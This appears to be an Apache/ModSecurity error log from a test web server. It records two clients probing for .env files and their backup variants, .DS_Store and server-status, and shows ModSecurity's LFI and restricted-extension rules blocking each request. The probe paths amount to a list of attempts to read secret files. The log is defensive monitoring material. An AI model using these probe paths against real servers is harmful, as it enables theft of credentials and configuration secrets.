[Thu Nov 27 18:08:40.430883 2025] [:error] [pid 360200] [client 3.75.214.235:56816] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env.old"] [unique_id "aSiFmAQeQhonID1lme2zHAAAAAk"]
[Thu Nov 27 18:08:40.505433 2025] [:error] [pid 362070] [client 3.75.214.235:56844] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /themes/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env"] [unique_id "aSiFmH7GWRIORDaPTtG7JQAAAAs"]
[Thu Nov 27 18:08:40.505653 2025] [:error] [pid 362070] [client 3.75.214.235:56844] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env"] [unique_id "aSiFmH7GWRIORDaPTtG7JQAAAAs"]
[Thu Nov 27 18:08:40.505844 2025] [:error] [pid 362070] [client 3.75.214.235:56844] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env"] [unique_id "aSiFmH7GWRIORDaPTtG7JQAAAAs"]
[Thu Nov 27 18:08:40.584068 2025] [:error] [pid 364938] [client 3.75.214.235:56872] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.save"] [unique_id "aSiFmFEFdTVEtgaNa5gxDgAAAAc"]
[Thu Nov 27 18:08:40.584308 2025] [:error] [pid 364938] [client 3.75.214.235:56872] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.save"] [unique_id "aSiFmFEFdTVEtgaNa5gxDgAAAAc"]
[Thu Nov 27 18:08:40.584508 2025] [:error] [pid 364938] [client 3.75.214.235:56872] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.save"] [unique_id "aSiFmFEFdTVEtgaNa5gxDgAAAAc"]
[Thu Nov 27 18:08:40.653120 2025] [:error] [pid 353187] [client 3.75.214.235:56904] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.bak"] [unique_id "aSiFmHjjVMPW7zDRgsawbQAAAAM"]
[Thu Nov 27 18:08:40.653293 2025] [:error] [pid 353187] [client 3.75.214.235:56904] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.bak"] [unique_id "aSiFmHjjVMPW7zDRgsawbQAAAAM"]
[Thu Nov 27 18:08:40.653495 2025] [:error] [pid 353187] [client 3.75.214.235:56904] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.bak"] [unique_id "aSiFmHjjVMPW7zDRgsawbQAAAAM"]
[Thu Nov 27 18:08:40.653673 2025] [:error] [pid 353187] [client 3.75.214.235:56904] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.bak"] [unique_id "aSiFmHjjVMPW7zDRgsawbQAAAAM"]
[Thu Nov 27 18:08:40.727262 2025] [:error] [pid 354739] [client 3.75.214.235:56934] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.old"] [unique_id "aSiFmO_UStX-GTeIAe_u_gAAAAY"]
[Thu Nov 27 18:08:40.727432 2025] [:error] [pid 354739] [client 3.75.214.235:56934] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.old"] [unique_id "aSiFmO_UStX-GTeIAe_u_gAAAAY"]
[Thu Nov 27 18:08:40.727641 2025] [:error] [pid 354739] [client 3.75.214.235:56934] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.old"] [unique_id "aSiFmO_UStX-GTeIAe_u_gAAAAY"]
[Thu Nov 27 18:08:40.727816 2025] [:error] [pid 354739] [client 3.75.214.235:56934] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.old"] [unique_id "aSiFmO_UStX-GTeIAe_u_gAAAAY"]
[Thu Nov 27 18:08:40.800257 2025] [authz_core:error] [pid 362069] [client 3.75.214.235:56958] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env
[Thu Nov 27 18:08:40.888847 2025] [authz_core:error] [pid 364939] [client 3.75.214.235:56990] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env.save
[Thu Nov 27 18:08:40.957058 2025] [authz_core:error] [pid 353188] [client 3.75.214.235:57020] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env.bak
[Thu Nov 27 18:08:41.034307 2025] [authz_core:error] [pid 353186] [client 3.75.214.235:57042] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env.old
[Thu Nov 27 18:08:41.105613 2025] [:error] [pid 353185] [client 3.75.214.235:57066] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "aSiFmXTG8IrOxOxezX5AtAAAAAE"]
[Thu Nov 27 18:08:41.105824 2025] [:error] [pid 353185] [client 3.75.214.235:57066] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "aSiFmXTG8IrOxOxezX5AtAAAAAE"]
[Thu Nov 27 18:08:41.106011 2025] [:error] [pid 353185] [client 3.75.214.235:57066] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "aSiFmXTG8IrOxOxezX5AtAAAAAE"]
[Thu Nov 27 18:08:41.177779 2025] [:error] [pid 360200] [client 3.75.214.235:57088] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.save"] [unique_id "aSiFmQQeQhonID1lme2zHQAAAAk"]
[Thu Nov 27 18:08:41.178051 2025] [:error] [pid 360200] [client 3.75.214.235:57088] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.save"] [unique_id "aSiFmQQeQhonID1lme2zHQAAAAk"]
[Thu Nov 27 18:08:41.178232 2025] [:error] [pid 360200] [client 3.75.214.235:57088] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.save"] [unique_id "aSiFmQQeQhonID1lme2zHQAAAAk"]
[Thu Nov 27 18:08:41.246578 2025] [:error] [pid 362070] [client 3.75.214.235:57120] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.bak"] [unique_id "aSiFmX7GWRIORDaPTtG7JgAAAAs"]
[Thu Nov 27 18:08:41.246748 2025] [:error] [pid 362070] [client 3.75.214.235:57120] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.bak"] [unique_id "aSiFmX7GWRIORDaPTtG7JgAAAAs"]
[Thu Nov 27 18:08:41.246962 2025] [:error] [pid 362070] [client 3.75.214.235:57120] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.bak"] [unique_id "aSiFmX7GWRIORDaPTtG7JgAAAAs"]
[Thu Nov 27 18:08:41.247146 2025] [:error] [pid 362070] [client 3.75.214.235:57120] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.bak"] [unique_id "aSiFmX7GWRIORDaPTtG7JgAAAAs"]
[Thu Nov 27 18:08:41.316033 2025] [:error] [pid 364938] [client 3.75.214.235:57142] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.old"] [unique_id "aSiFmVEFdTVEtgaNa5gxDwAAAAc"]
[Thu Nov 27 18:08:41.316218 2025] [:error] [pid 364938] [client 3.75.214.235:57142] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.old"] [unique_id "aSiFmVEFdTVEtgaNa5gxDwAAAAc"]
[Thu Nov 27 18:08:41.316463 2025] [:error] [pid 364938] [client 3.75.214.235:57142] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.old"] [unique_id "aSiFmVEFdTVEtgaNa5gxDwAAAAc"]
[Thu Nov 27 18:08:41.316647 2025] [:error] [pid 364938] [client 3.75.214.235:57142] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.old"] [unique_id "aSiFmVEFdTVEtgaNa5gxDwAAAAc"]
[Fri Nov 28 06:59:49.874877 2025] [authz_core:error] [pid 376663] [client 167.71.81.114:34892] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Fri Nov 28 06:59:50.784301 2025] [:error] [pid 376321] [client 167.71.81.114:34916] [client 167.71.81.114] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSk6Vg-9erAMS4LBdXdtewAAAAA"]
[Fri Nov 28 06:59:50.784549 2025] [:error] [pid 376321] [client 167.71.81.114:34916] [client 167.71.81.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSk6Vg-9erAMS4LBdXdtewAAAAA"]
[Fri Nov 28 06:59:50.784727 2025] [:error] [pid 376321] [client 167.71.81.114:34916] [client 167.71.81.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aSk6Vg-9erAMS4LBdXdtewAAAAA"]
[Fri Nov 28 06:59:51.070055 2025] [:error] [pid 376666] [client 167.71.81.114:34930] [client 167.71.81.114] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSk6V-C2mMOyxS8_IwAJeAAAABU"]
[Fri Nov 28 06:59:51.070307 2025] [:error] [pid 376666] [client 167.71.81.114:34930] [client 167.71.81.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSk6V-C2mMOyxS8_IwAJeAAAABU"]
[Fri Nov 28 06:59:51.070508 2025] [:error] [pid 376666] [client 167.71.81.114:34930] [client 167.71.81.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aSk6V-C2mMOyxS8_IwAJeAAAABU"]
